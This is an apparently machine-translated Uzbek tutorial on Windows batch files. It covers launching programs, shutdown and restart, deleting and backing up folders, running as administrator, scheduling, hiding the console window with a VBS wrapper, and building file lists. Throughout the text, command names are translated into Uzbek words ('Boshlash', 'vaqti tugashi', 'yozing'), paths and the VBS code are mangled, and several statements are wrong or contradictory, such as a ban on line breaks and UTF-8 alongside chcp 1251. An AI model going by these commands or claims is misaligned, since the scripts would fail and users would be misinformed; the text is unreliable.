Xo'sh, Windows 7/10 da bat faylini qanday yaratish mumkin? Juda oddiy. Buning uchun sizga har qanday matn muharriri va buyruq qatori asoslarini bilish kerak bo'ladi. Siz Notepad yoki undan ham yaxshiroq Notepad++ dan foydalanishingiz mumkin, chunki ikkinchisida sintaksisni ajratib ko'rsatish mavjud. Tahrirlovchida yangi fayl yarating, "Fayl" menyusidan "Boshqacha saqlash" ni tanlang, kelajakdagi skriptga nom bering va "Fayl turi" yorlig'ida "Ommaviy fayl (*bat; *cmd; *nt)" ni tanlang. -past ro'yxat.

Agar siz bat faylini yaratish uchun bloknotdan foydalanmoqchi bo'lsangiz, kengaytmani qo'lda belgilashingiz kerak va "Fayl turi" ro'yxatida "Barcha fayllar" ni tanlang.

Ko'rib turganingizdek, bat kengaytmasi bilan fayl yaratish qiyin emas, ammo bu erda ba'zi nozikliklar mavjud. Buyruqlar fayllarida qator uzilishlarini ishlatib bo'lmaydi; bat faylining kodlanishi UTF-8 ga o'rnatilishi kerak; agar skriptning asosiy qismi kirill alifbosidan foydalansa, tegishli joyga chcp 1251 buyrug'ini kiritish orqali kodlashni o'zgartirish kerak.

BAT kengaytmasi o'rniga siz CMD dan foydalanishingiz mumkin, skriptni bajarish natijasi aynan bir xil bo'ladi.

Asosiy buyruqlar, sintaksis va ommaviy ish fayllarini ishlatish misollari

Siz bat faylini qanday qilishni bilasiz, endi eng qiziqarli qism, ya'ni CMD tarjimon tilining sintaksisi vaqti keldi. Bo'sh ommaviy ish fayli ishlamasligi aniq, uni ikki marta bosganingizda ham u ishga tushmaydi. Skript ishlashi uchun unda kamida bitta buyruq yozilishi kerak. Vizual misol uchun, dasturlarni ishga tushirish uchun bat faylini qanday yozishni ko'rib chiqamiz. Aytaylik, siz ish boshlaganingizda har safar uchta dasturni ishga tushirasiz - Chrome, Firefox va VLC. Keling, ushbu dasturlarni besh soniya oralig'ida ishga tushiradigan skript yaratish orqali vazifani soddalashtiraylik.

Bo'sh ommaviy ish faylini oching va unga quyidagi buyruqlarni joylashtiring:

Boshlash "" "C:/Program Files/Google/Chrome/Application/chrome.exe" vaqti tugashi /t 05 ishga tushirish "" "C:/Program Files/Mozilla Firefox/firefox.exe" vaqti tugashi /t 05 ishga tushirish "" "C :/Dastur fayllari/VideoLAN/VLC/vlc.exe"

Jamoa boshlash kerakli dasturning bajariladigan faylini va buyruqni ishga tushiradi vaqt tugashi/t startlar orasidagi intervalni belgilaydi. Qo'shtirnoqlarni joylashtirishga e'tibor bering - ular bo'shliqlarni o'z ichiga olgan yo'llarni o'z ichiga oladi. Bundan tashqari, agar yo'lda kirillcha belgilar mavjud bo'lsa, skript boshida kodlashni o'zgartiradigan buyruqni kiritishingiz kerak. chcp 1251, aks holda tarjimon yo'lni to'g'ri o'qiy olmaydi.

Skriptni ishga tushirganingizda, to'rtta konsol oynasi ketma-ket ochiladi; bu normaldir; buyruqlar bajarilgandan so'ng, ularning barchasi avtomatik ravishda yopiladi, ammo siz faqat birinchi oyna ochilishiga ishonch hosil qilishingiz mumkin. Buning uchun dasturni ishga tushirish kodi quyidagicha o'zgartirilishi kerak:

Boshlash /b "" "yo'l"

Bundan tashqari, foydalanuvchi boshqa barcha buyruqlarni bajarish yoki qilmaslik to'g'risida qaror qabul qilishi uchun skriptning bajarilishini to'xtatib turish kerak bo'lishi mumkin. Buning uchun buyruq bor pauza. Vaqt tugashini u bilan almashtirib ko'ring va nima bo'lishini ko'ring.

Boshlash /b "" "yo'l" pauzasi

Keling, bat fayli uchun buyruqlarning yana bir misolini ko'rib chiqaylik. Keling, bir holatda kompyuterni o'chiradigan va boshqa holatda uni qayta ishga tushiradigan skript yozaylik. Ushbu maqsadlar uchun biz buyruqdan foydalanamiz o'chirish; yopish parametrlari bilan /s, /r Va /t. Agar xohlasangiz, tana faylingizga amalni bajarish uchun so'rov qo'shishingiz mumkin, masalan:

@echo off chcp 1251 echo "Kompyuteringizni o'chirmoqchimisiz?" o'chirishni to'xtatib turish /s /t 0

Keling, tushuntiramiz. Birinchi buyruq buyruqlar matnini yashiradi, ikkinchisi - kirillcha kodlashni o'rnatadi, uchinchisi - foydalanuvchi uchun xabarni ko'rsatadi, to'rtinchisi - pauzani o'rnatadi, beshinchisi - o'chiradi va kalit bilan /r o'rniga /s an'anaviy bir daqiqalik kechikishlarsiz kompyuteringizni qayta ishga tushiradi. Agar siz so'rovlar va pauzalar bilan marosimda turishni xohlamasangiz, faqat beshinchi buyruqni qoldirishingiz mumkin.

Agar buyruqni bajarayotganda rus tilidagi matn o'rniga kryakozyabrani ko'rsangiz, skript faylini ANSI ga aylantirib ko'ring.

Skriptlar bilan yana nima qila olasiz? Ko'p narsalar, masalan, fayllarni o'chirish, nusxalash yoki ko'chirish. Aytaylik, sizda D diskining ildizida ma'lum bir ma'lumotlar papkasi mavjud bo'lib, uning mazmuni bir zarbada tozalanishi kerak. Ommaviy ish faylini oching va unga quyidagi buyruqni joylashtiring:

Del /A /F /Q "D:/ma'lumotlar"

Yoki buni qilishingiz mumkin:

Forfayllar /p "D:/data" /s /m *.* /c "cmd /c Del @path"

Birinchisidan farqli o'laroq, ikkinchi buyruq fayllarni rekursiv ravishda o'chiradi, ya'ni ma'lumotlar papkasidagi barcha fayllar va pastki kataloglarda joylashganlar o'chiriladi.

Mana yana bir foydali misol. Keling, bitta papka tarkibining zaxira nusxasini yaratadigan va ma'lumotlarni boshqasiga saqlaydigan skript yozaylik. Buyruq nusxa ko'chirish uchun javobgardir robot nusxasi:

Robocopy C: / ma'lumotlar D: / zaxira / e pauza

Bunday ommaviy ish faylini bajarish uchun ishga tushirish orqali siz ma'lumotlar papkasining barcha tarkibini zaxira papkasiga, shu jumladan bo'sh va fayllar bilan birga pastki kataloglarga ko'chirasiz. Aytgancha, robocopy buyrug'i nusxa ko'chirish parametrlarini juda moslashuvchan tarzda sozlash imkonini beruvchi ko'plab parametrlarga ega.

Bat fayllarini administrator sifatida va jadval bo'yicha, yashirin bat ishga tushiring

Endi siz ommaviy ish fayllarini qanday yaratishni bilasiz va CMD tarjimon tili haqida umumiy tushunchaga egasiz. Bular asoslar edi, endi bat fayllari bilan ishlashning ba'zi foydali xususiyatlari bilan tanishish vaqti keldi. Ma'lumki, dasturlar ba'zi harakatlarni bajarish uchun administrator huquqlarini talab qiladi. Batniklarga ham kerak bo'lishi mumkin. Skriptni administrator sifatida ishga tushirishning eng aniq usuli - sichqonchaning o'ng tugmachasini bosish va kontekst menyusidan mos variantni tanlash.

Bundan tashqari, ma'lum bir ommaviy ish fayli har doim yuqori imtiyozlar bilan ishga tushirilishiga ishonch hosil qilishingiz mumkin. Buni amalga oshirish uchun siz bunday skriptga oddiy yorliq yaratishingiz kerak, uning xususiyatlarini oching, "Kengaytirilgan" tugmasini bosing va ochilgan oynada "Administrator sifatida ishga tushirish" katagiga belgi qo'ying. Bu usul ham yaxshi, chunki u yorliq uchun istalgan belgini tanlash imkonini beradi, BAT yoki CMD kengaytmali fayl har doim noaniq ko'rinishga ega bo'ladi.

Skriptlar, barcha ilovalar kabi, jadval bo'yicha ishga tushirilishi mumkin. Jamoa vaqt tugashi/t Bu erda to'liq mos kelmaydi; kechiktirilgan ishga tushirish uchun o'rnatilgan Windows Task Scheduler-dan foydalanish yaxshidir. Bu erda hamma narsa oddiy. Buyruq bilan oching taskschd.msc Rejalashtiruvchi, ishga tushirishni tanlang, "Dasturni ishga tushirish" amalini tanlang va bat fayliga yo'lni belgilang. Hammasi shu, skript belgilangan vaqtda ishga tushiriladi.

Va nihoyat, yana bir qiziqarli nuqta. Ko'rshapalak faylini ishga tushirganingizda, hatto soniyaning bir qismi uchun bo'lsa ham, ekranda buyruq qatori oynasi paydo bo'ladi. Skriptni yashirin rejimda ishga tushirish mumkinmi? Bu mumkin va bir necha usulda. Eng oddiyi quyidagicha. Ko'rshapalak fayli uchun yorliq yarating, uning xususiyatlarini oching va "Oyna" menyusidan "Iktogrammaga yig'ildi" ni tanlang. Shundan so'ng, ishlayotgan skriptning yagona ko'rinadigan belgisi vazifalar panelidagi CMD belgisining ko'rinishi bo'ladi, lekin hech qanday oyna ochilmaydi.

Agar siz skriptning bajarilishini butunlay yashirishni istasangiz, siz ommaviy ish faylingizni yashirin rejimda ishga tushiradigan "tayoqcha" - VBS skriptidan foydalanishingiz mumkin. Skript matni quyida, uni faylga saqlang yashirin.vbs, ilgari kodning ikkinchi qatoridagi yo'lni almashtirgan D:/script.bat tana faylingizga yo'l.

WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" va Chr(34), 0 sozlang WshShell = Hech narsa

Boshqa variantlar ham mavjud, masalan, yordamchi dasturdan foydalanish Yashirin boshlanish, bu sizga yashirin rejimda, shu jumladan taklifnomasiz bajariladigan va ommaviy fayllarni ishga tushirish imkonini beradi.

Va hozircha hammasi shu. BAT skriptlarini yaratish bo'yicha ma'lumotni Internetda osongina topish mumkin. Uilyam Stanekning Microsoft Windows buyruqlar qatori bo'yicha qo'llanmasini ham ko'rib chiqish yaxshi fikr. Kitob nashr etilganiga o‘n yildan ortiq vaqt o‘tganiga qaramay, undagi ma’lumotlar o‘z ahamiyatini yo‘qotmagan.

Buyruqlar qatorini kerakli joyda (masalan, fayllari bo'lgan papkada) ochish uchun Shift tugmachasini bosib ushlab turganda kontekst menyusiga (RMB) qo'ng'iroq qilishingiz kerak:

Buyruqlar qatori bilan ishlashni o'rganing. Keling, buyruqlarga o'tamiz.

Barcha konsol buyruqlarining tavsiflari bilan ro'yxatini konsolda yordam yozish orqali olish mumkin
Har qanday buyruq bo'yicha yordamni /? tugmasi yordamida olish mumkin.
Masalan: DIR /? barcha DIR buyruq variantlari uchun yordamni ko'rsatadi

Kompyuteringizni o'chirishdan oldin vaqtinchalik fayllarni o'chiring

Menimcha, har bir kishi hech bo'lmaganda ularni shaxsan boshdan kechirgan. Ko'rshapalak fayli vaqtinchalik fayllarni, odatda virus yuklab olinadigan papkani o'chirish orqali kompyuteringizni to'g'ri o'chirishga yordam beradi.

Keyingi safar qurilma ishga tushganda (dastlabki bosqichda) virus tizimning normal ishlashini buzgan holda registrga yozuvlar kiritadi. Va ish stoli yuklanganda, vaziyatni tuzatish qiyinroq.

Albatta, barcha viruslar ushbu sxema bo'yicha ishlamaydi, ammo shunga qaramay, vaqtinchalik fayllarni va tizim keshini o'chirishdan oldin tozalash bunday xavflarni sezilarli darajada kamaytiradi.

ishga tushirish / kuting "" "C:\Program Files\CCleaner\CCleaner64.exe" /avtomatik boshlash /kuting "" "C:\WINDOWS\System32\shutdown.exe" /s /t 10

CCleaner Windows-da sukut bo'yicha mavjud emas. Uni alohida o'rnatish kerak. O'rnatuvchini ishlab chiqaruvchining veb-saytidan yuklab olishingiz mumkin.

CCleaner dasturi birinchi navbatda ishga tushadi va kompyuterdagi barcha vaqtinchalik fayllarni o'chiradi. Keyin kompyuterni o'chirish dasturi CCleaner bilan yuzaga kelishi mumkin bo'lgan nizolarni oldini olish uchun 15 soniya kechikish bilan boshlanadi.

Unga ushbu misolni ko'chirish kerak. Ish stolida bat fayliga yorliq qo'ying, unga chiroyli belgi belgilang va ushbu yorliq tugmasi yordamida kompyuterni o'chiring.

Bat fayli yordamida papkadagi fayllar ro'yxatini oling

Men vaqti-vaqti bilan papkalardagi fayllar ro'yxatini olish uchun bat fayllaridan foydalanaman. Umumiy holat: ish joyida mijozlar fotografning fotosuratlari arxivini yuborishadi. Fotosuratlar mahsulot maqolalariga ko'ra nomlanadi.

Fotosuratlar bilan birga matnli ma'lumot yo'q. Yuborilgan fotosuratlar asosida ro'yxat tuzishingiz va uni veb-saytdagi mahsulot katalogiga import qilishingiz kerak. Har bir mahsulot uchun bir nechta fotosuratlar olingan. Ular shunday nomlanadi:

  1. Mahsulot raqami A1234 (2).jpg
  2. B1234 (2).jpg maqolasi bilan mahsulot surati

Avval quyidagi buyruq yordamida papkadagi barcha fayllar ro'yxatini olaman:

dir *.jpg /B /L > filelist.txt

*.jpg buyrug'i ro'yxatni tuzishda faqat JPG fayllarni hisobga olish imkonini beradi. /B tugmasi faqat papkada joylashgan fayllar nomlarini o'z ichiga olgan ro'yxatni olish imkonini beradi. /L kaliti barcha nomlarni kichik harflar bilan ko'rsatadi. >filelist.txt buyrug'i filelist deb nomlangan matn faylini yaratadi va natijani shu erga yozadi.

Keyingi qadam, dublikatlardan xalos bo'lishdir, shunda ro'yxatdagi har bir mahsulot uchun faqat bitta yozuv mavjud:

filelist.txt | yozing findstr /I /V "(2 )" > temp.txt

Findstr buyrug'i avval olingan faylni qidiradi. /I kommutatori yozuvlarni katta-kichik harflarga sezgir bo'lmagan holda qidirish imkonini beradi va /V kaliti siz izlayotgan moslikni o'z ichiga olmagan satrlarni yozadi. Qo'shtirnoqlar mos keladigan qatorni bildiradi. Va oxirgi buyruq > temp.txt vaqtinchalik faylga nomida "(2)" bo'lmagan barcha natijalarni yozadi. Natijada men olaman:

  1. Mahsulot raqami A1234.jpg bo'lgan mahsulot fotosurati
  2. B1234.jpg maqolasi bilan mahsulot surati

Agar siz teskari operatsiyani bajarishingiz kerak bo'lsa - chiqish faqat temp.txt fayliga mos keladi, u holda buyruqlar ro'yxatidan kerakli narsani topa olmaysiz (findstr /?). Faqat teskari aniq moslik filtri mavjud - /X .

Ushbu vazifani bajarish uchun siz mos keladigan satr raqamlarini /N ko'rsatish buyrug'idan foydalanishingiz mumkin (raqamlar qator bilan birga ko'rsatiladi):

filelist.txt | yozing findstr /I /N "(2 )" > temp.txt

Matnli ma'lumotlar (matnli fayllar) bilan ishlashda asosiy narsa bir narsani eslab qolishdir:

Agar matnli operatsiyalar uchun siz buyruq qatori orqali yaratilmagan fayldan manba sifatida foydalansangiz, u buyruq satri tomonidan tushuniladigan kodlashda bo'lishi kerak. Masalan, CP1251 (ANSI).

Aks holda, siz shunga o'xshash narsalarni olishingiz mumkin:

Katalog daraxtini fayllarsiz nusxalash

Yangi loyihalarni yaratishni boshlaganimda, eski loyihaga o'xshash katalog daraxtini olish kerak bo'ladi, farqi shundaki, unda hech qanday fayl bo'lmasligi kerak. Yangi loyiha uchun mavjud loyihani nusxalash va undan keraksiz narsalarni o'chirishdan ko'ra kerakli bo'sh papkalarga 3-5 ta fayl qo'shish osonroq.

Oling fayllarsiz katalog daraxti quyidagi buyruq yordamida amalga oshirilishi mumkin:

xcopy folder_1 papka_2 /T /E

Xcopy buyrug'i papka_1dagi katalog daraxtini asos qilib oladi va uning nusxasini_2 papkasida yaratadi. /T kaliti kataloglarni undagi fayllardan nusxa ko'chirmasdan nusxalash imkonini beradi. /E kaliti barcha kataloglarni nusxalash kerakligini bildiradi, shu jumladan. bo'sh.

Katalog daraxtini olishning eng yaxshi usuli - donor katalogining asosiy papkasida buyruq qatorini ochish va xuddi shu papkada ko'chirilgan daraxt joylashtiriladigan katalogni yaratish. Bunday holda, buyruq faqat donor papkasi va maqsad papkaning nomlarini ko'rsatishi kerak bo'ladi (yuqoridagi misolda bo'lgani kabi).